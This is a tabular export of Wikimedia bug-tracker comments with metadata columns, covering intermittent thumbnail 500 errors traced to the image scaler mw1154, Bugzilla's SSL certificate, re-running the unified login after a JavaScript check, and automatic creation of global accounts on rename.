+To capture the headers, the information in http://productforums.google.com/forum/#!topic/chrome/1u7DQv-ag_4 may be helpful; note there will be multiple HTTP_TRANSACTION_SEND_REQUEST_HEADERS and HTTP_TRANSACTION_READ_RESPONSE_HEADERS blocks in one URL_REQUEST in the case of redirects.",,,1379445029,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,0
+234881,Autologin autocreate is not working,Probably needs to be retested after https://gerrit.wikimedia.org/r/83655 is deployed,,,1379356743,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+56045,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"When requesting random images from Commons' MediaWiki API and requesting a thumbnail for it, I often get a HTTP 500.
+
+For example:
+
+
+
+GET http://upload.wikimedia.org/wikipedia/commons/thumb/f/fb/USMC-05934.jpg/400px-USMC-05934.jpg
+HTTP 500
+<html><head><title>Error generating thumbnail</title></head>
+<body>
+<h1>Error generating thumbnail</h1>
+<p>
+Error creating thumbnail:
+</p>
+<!-- http://commons.wikimedia.org/w/thumb_handler.php/f/fb/USMC-05934.jpg/400px-USMC-05934.jpg -->
+<!-- mw1154 -->
+</body>
+</html>
+
+Usually when trying again, it just works.
+
+I've been getting these errors in many different environments:
+* When reading articles and HiDPI plugin swaps the src attributes (the larger version would fail maybe)
+* When opening the VisualEditor (rendering the new DOM means we re-parse the <img>tag and thus re-request it, thus making it more likely for the error to happen again)
+* When working with gadgets that render image galleries through requesting file category members and the thumbnail url.
+
+I don't think the scenario is relevant, there is either something wrong with the thumbnail generator script that is triggered by lots of images. Or there is a few faulty servers in the upload.wikimedia.org pool that cause the errors.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: critical",High,80.0,1378941420,1379553025.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-5ts3ggpcjypmoohi32ft,task_description,resolved,True,c3,1,True,False,True,-95,True,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,1,0,1,0,1,1,0,0,1,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+254806,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"[02:06:08] <Reedy> Can someone depool mw1154 from the image scaler cluster?
+[02:06:20] <paravoid> what's wrong with it?
+[02:07:40] <Reedy> It's seemingly generating a lot more errors (by a factor of 2 or so) than any of the other scalers
+[02:07:41] <Reedy> https://bugzilla.wikimedia.org/show_bug.cgi?id=54045
+[02:08:32] <paravoid> root@mw1154:~# ls /sys/fs/cgroup/memory/mediawiki/job
+[02:08:33] <paravoid> ls: cannot access /sys/fs/cgroup/memory/mediawiki/job: No such file or directory
+[02:08:35] <paravoid> blergh
+[02:09:01] <paravoid> fixed
+[02:09:58] <Reedy> is that's what's up with it?
+[02:10:05] <paravoid> yes, fixed
+[02:10:09] <Reedy> awesome
+[02:10:10] <Reedy> thanks",,,1379553025,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-93,True,1,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1
+254803,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"Yup, still mw1154
+
+
+reedy@fluorine:/a/mw-log$ grep -c mw1153 thumbnail.log
+50057
+reedy@fluorine:/a/mw-log$ grep -c mw1154 thumbnail.log
+125850
+reedy@fluorine:/a/mw-log$ grep -c mw1155 thumbnail.log
+50451
+reedy@fluorine:/a/mw-log$ grep -c mw1156 thumbnail.log
+50584
+reedy@fluorine:/a/mw-log$ grep -c mw1157 thumbnail.log
+51015
+reedy@fluorine:/a/mw-log$ grep -c mw1158 thumbnail.log
+50386
+reedy@fluorine:/a/mw-log$ grep -c mw1159 thumbnail.log
+50134
+reedy@fluorine:/a/mw-log$ grep -c mw1160 thumbnail.log
+51486",,,1379552717,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-93,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+254800,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,Ganglia graphs suggest so (mw1154 has less activity) but I haven't specificly tested.,,,1379552393,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-93,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0
+254797,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,Part of the question would be is it still the same machine? (based on the fact it's already changed once),,,1379547506,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-94,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+254793,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,Could this server be taken out of rotation until the issue is resolved?,,,1379546704,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-94,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+254787,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"The entries in /a/mw-log/thumbnail.log are often hard to correlate since they use temporary file names. However it appears some (or all?) contain a MediaWiki File-namespace url as well.
+
+I just got another HTTP 500 Internal Server Error and found the following entry:
+
+URL: https://upload.wikimedia.org/wikipedia/commons/thumb/e/e8/Trevor_Parscal_December_2008.jpg/660px-Trevor_Parscal_December_2008.jpg
+
+Triggered from an <img> tag on https://commons.wikimedia.org/w/index.php?title=File:Trevor_Parscal_December_2008.jpg&action=submit when previewing an edit.
+
+
+[04:11 UTC] krinkle at fluorine in /a/mw-log
+$ tail thumbnail.log  -n500 | ack-grep Trevor -C 10
+
+Bytes: 0xFF 0x27 0x20 0x69"" from ""'/usr/bin/'rsvg-convert --no-external-files -w 120 -h 61 -o '/tmp/transform_5a95aeb43c6b-1.png' '/tmp/localcopy_61a6c00091e1-1.svg' 2>&1""
+2013-09-17 04:10:06 mw1154 commonswiki: thumbnail failed on mw1154: error 1 """" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=660x440 '/tmp/localcopy_cb6372f89daf-1.jpg'  -thumbnail '660x440!' -set comment 'File source: http://commons.wikimedia.org/wiki/File:Trevor_Parscal_December_2008.jpg' -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_f22fd870a3fc-1.jpg' 2>&1""
+2013-09-17 04:10:06 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_f22fd870a3fc-1.jpg"". unlink() succeeded
+2013-09-17 04:10:06 mw1157 commonswiki: thumbnail failed on mw1157: error 1 ""convert: no decode delegate for this image format `/a/magick-tmp/magick-NyMRfqeG' @ error/constitute.c/ReadImage/532.
+convert: missing an image filename `/tmp/transform_6c0a3d0fd7c4-1.jpg' @ error/convert.c/ConvertImageCommand/3011."" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=120x53 ''  -thumbnail '120x53!' -set comment 'File source: http://commons.wikimedia.org/wiki/File:Banknote_5000_rubles_(1997)_front.jpg' -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_6c0a3d0fd7c4-1.jpg' 2>&1""
+..
+2013-09-17 04:13:59 mw1159 commonswiki: thumbnail failed on mw1159: error 1 ""Error reading SVG:Error domain 1 code 96 on line 1 column 17 of file:///tmp/localcopy_2362643f10ec-1.svg: Malformed declaration expecting version"" from ""'/usr/bin/'rsvg-convert --no-external-files -w 120 -h 96 -o '/tmp/transform_8ba6acf9d427-1.png' '/tmp/localcopy_2362643f10ec-1.svg' 2>&1""
+2013-09-17 04:13:59 mw1154 commonswiki: thumbnail failed on mw1154: error 1 """" from ""'/usr/bin/convert' -quality 80 -background white -define jpeg:size=660x440 '/tmp/localcopy_babba88e51a4-1.jpg'  -thumbnail '660x440!' -set comment 'File source: http://commons.wikimedia.org/wiki/File:Trevor_Parscal_December_2008.jpg' -depth 8 -sharpen '0x0.8'  -rotate -0   '/tmp/transform_de7473e35169-1.jpg' 2>&1""
+2013-09-17 04:13:59 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_de7473e35169-1.jpg"". unlink() succeeded
+2013-09-17 04:14:01 mw1154 commonswiki: Removing bad 0-byte thumbnail ""/tmp/transform_55d5b98e5f7b-1.png"". unlink() succeeded",,,1379391380,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-94,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,1,1,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+254782,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"Btw, good debugging step would be for someone with shell to try running the convert command by hand (with limit.sh) to see what happens (e.g. if issue with cgroup config this would give an error that wouldn't be included in thumb log)
+
+See also gerrit change 83974 which would give more useful error messages in certain circumstances (which may or may not help for the current situation)",,,1379373885,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-94,True,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,1
+254775,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,*** Bug 54188 has been marked as a duplicate of this bug. ***,,,1379373403,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-94,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+254767,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"(In reply to comment #5)
+> reedy@fluorine:/a/mw-log$ grep mw1154 thumbnail.log |grep -c error
+> 55424
+> reedy@fluorine:/a/mw-log$ grep -c mw1154 thumbnail.log
+> 111320
+
+We pass things with \n's in them to wfDebugLog for the thumbnail log. I don't think we log successful thumbnailing events at all. So I think all that means is many of the thumbnail error log messages span several lines.",,,1378958845,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-94,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,1
+254758,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"When you look at the 500 error message, its supposed to include all the stdout and stderr from convert. However these are empty. Perhaps https://gerrit.wikimedia.org/r/83974 would help debug the situation (including stderr from limit.sh in the 500 error message).",,,1378950740,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-94,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+254751,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"reedy@fluorine:/a/mw-log$ grep mw1154 thumbnail.log |grep -c error
+55424
+reedy@fluorine:/a/mw-log$ grep -c mw1154 thumbnail.log
+111320",,,1378943525,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-95,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1
+254744,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"I just did a test on commons - visited a page with 200 images which I suspect were not previously rendered before (note: all were tiff files). 28 of them failed, all from mw1154. There's only 8 image scalars. 200/8 = 25, so its not hard to imagine this means all requests to mw1154 are failing.
+
+Perhaps something is wrong with the cgroups config on that host (or something else that would prevent all shell commands from succeeding)
+
+The ganglia graph seems to indicate that the CPU usage on that host has dropped off since friday - http://ganglia.wikimedia.org/latest/graph.php?g=cpu_report&z=xlarge&c=Image%20scalers%20eqiad&h=mw1154.eqiad.wmnet&l=e2ecff&v=&r=week&su=1&st=1378942982&x=0&n=0",,,1378943170,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-95,True,1,1,0,0,1,1,1,0,0,0,0,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,1,0,1,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
+254734,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"Looks like mw1153 has stopped being so noisy, and it's now mw1154. Which I guess makes this a dupe of 53753
+
+reedy@fluorine:/a/mw-log$ grep -c error thumbnail.log
+324850
+reedy@fluorine:/a/mw-log$ grep mw1153 thumbnail.log |grep -c error
+22013
+reedy@fluorine:/a/mw-log$ grep mw1154 thumbnail.log |grep -c error
+54280
+reedy@fluorine:/a/mw-log$ grep mw1155 thumbnail.log |grep -c error
+22011
+reedy@fluorine:/a/mw-log$ grep mw1156 thumbnail.log |grep -c error
+21980
+reedy@fluorine:/a/mw-log$ grep mw1157 thumbnail.log |grep -c error
+21847
+reedy@fluorine:/a/mw-log$ grep mw1158 thumbnail.log |grep -c error
+22146
+reedy@fluorine:/a/mw-log$ grep mw1159 thumbnail.log |grep -c error
+21905
+reedy@fluorine:/a/mw-log$ grep mw1160 thumbnail.log |grep -c error
+22107",,,1378942177,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-95,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+254724,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"Always mw1154?
+
+See also bug 53573, mw1153 was (not sure if it's changed) seemingly causing a lot more errors than its counterparts",,,1378941699,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-95,True,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,0
+254712,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"See also bug 53573. (which was mostly mw1153)
+-----
+>I don't think the scenario is relevant, there is either something wrong with
+>the thumbnail generator script that is triggered by lots of images. Or there is
+>a few faulty servers in the upload.wikimedia.org pool that cause the errors.
+
+Thumbnail generation should be entirely independent of page view actions, so the scenario should definitely not matter",,,1378941647,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-95,True,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+55959,Bugzilla to use its own SSL certificate,"Mirroring RT #5011 in Bugzilla, for the sake of transparency.
+
+https://gerrit.wikimedia.org/r/#/c/82879/
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**See Also**:
+https://rt.wikimedia.org/Ticket/Display.html?id=5011",High,80.0,1378761000,1378768487.0,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,False,PHID-TASK-ycvdvmdfiqkvcznf7a7r,task_description,resolved,True,c3,1,True,False,True,-95,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+249629,Bugzilla to use its own SSL certificate,Merged.,,,1378768487,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-ycvdvmdfiqkvcznf7a7r,task_subcomment,,True,c3,1,True,,,-95,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+55953,Re-SUL on javascript login,"To hopefully address the situation where users are reporting issues where they are logged in on some wikis, but not others, RobLa asked that we look into re-running the SUL logic after a user is logged in with the javascript ping.
+
+--------------------------
+**Version**: master
+**Severity**: enhancement",High,80.0,1378748580,1379440890.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-a64u5tzlehgfoet5cwe6,task_description,resolved,True,c3,1,True,False,True,-95,True,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+249342,Re-SUL on javascript login,"Change 83655 merged by jenkins-bot:
+Re-do edge login when JS login check succeeds
+
+https://gerrit.wikimedia.org/r/83655",,,1379355727,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a64u5tzlehgfoet5cwe6,task_subcomment,,True,c3,1,False,,,-94,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+249340,Re-SUL on javascript login,"Change 83655 had a related patch set uploaded by Anomie:
+Re-do edge login when JS login check succeeds
+
+https://gerrit.wikimedia.org/r/83655",,,1378831562,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a64u5tzlehgfoet5cwe6,task_subcomment,,True,c3,1,False,,,-95,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+249338,Re-SUL on javascript login,"Andre, not really.
+
+Brad, it was more running the CentralAuthDoEdgeLogin process again, if the user was logged in from the javascript ping. The localStorage might be contributing to the problem, but if we just re-run the login, then (in theory) it shouldn't matter too much.",,,1378763738,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-a64u5tzlehgfoet5cwe6,task_subcomment,,True,c3,1,True,,,-95,True,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+249333,Re-SUL on javascript login,"For the records: Also brought up in http://lists.wikimedia.org/pipermail/wikitech-l/2013-September/071718.html and https://de.wikipedia.org/w/index.php?title=Wikipedia:Fragen_zur_Wikipedia&oldid=122384791#Erneut_zum_Unified_Login
+
+Wondering if the patch for bug 53536 could influence the problem. Likely not.",,,1378753695,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-a64u5tzlehgfoet5cwe6,task_subcomment,,True,c3,1,True,,,-95,True,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0
+249328,Re-SUL on javascript login,"Clarify, please? Is this asking to try to clear the localStorage already-checked-for-login-today ""cookie"" on say frwiki from the Special:CentralLogin/setCookies pixel loaded from enwiki?",,,1378751490,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-a64u5tzlehgfoet5cwe6,task_subcomment,,True,c3,1,True,,,-95,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0
+55905,Create global account on login/rename,"When a user gets renamed locally to a new name, under which no global account exists and no conflicts accounts exists, the global account should be created automatically.
+
+Maybe this can also be checked on user login, than other (or the previous renamed) user accounts without a conflict can also benefit from this. Should be part of a automigration (wgCentralAuthAutoMigrate).
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=14862",High,80.0,1378630560,1430851335.0,PHID-USER-a6jwrurphpx6yl4coupk,False,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,PHID-TASK-h4tu4j445kger6aygazx,task_description,declined,True,c3,1,False,False,True,-95,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+458067,Create global account on login/rename,"MarcoAurelio, why are you mass-changing priorities to ""High"", as in T55905#1261952? Did you run into a bug with drag and drop in phabricator workboards? If so, please report it; I thought it was filed already, but Phabricator search is too poor for me to find it even after 30 min of searching. :(",,,1431506795,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-h4tu4j445kger6aygazx,task_subcomment,,True,c3,1,True,,,-8,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,0
+454092,Create global account on login/rename,"I think this is not an issue anymore with global renames, as the global account is created when globally renaming an user. Feel free to reopen if you feel the problem still exist. Thanks.",,,1430851335,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-h4tu4j445kger6aygazx,task_subcomment,,True,c3,1,True,,,-9,True,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+246758,Create global account on login/rename,"Change 102635 abandoned by Legoktm:
+Autocreate global account after rename
+
+Reason:
+Not worth it at this point
+
+https://gerrit.wikimedia.org/r/102635",,,1412924758,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h4tu4j445kger6aygazx,task_subcomment,,True,c3,1,False,,,-38,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+246751,Create global account on login/rename,"Change 102635 had a related patch set uploaded by Legoktm:
+Autocreate global account after rename
+
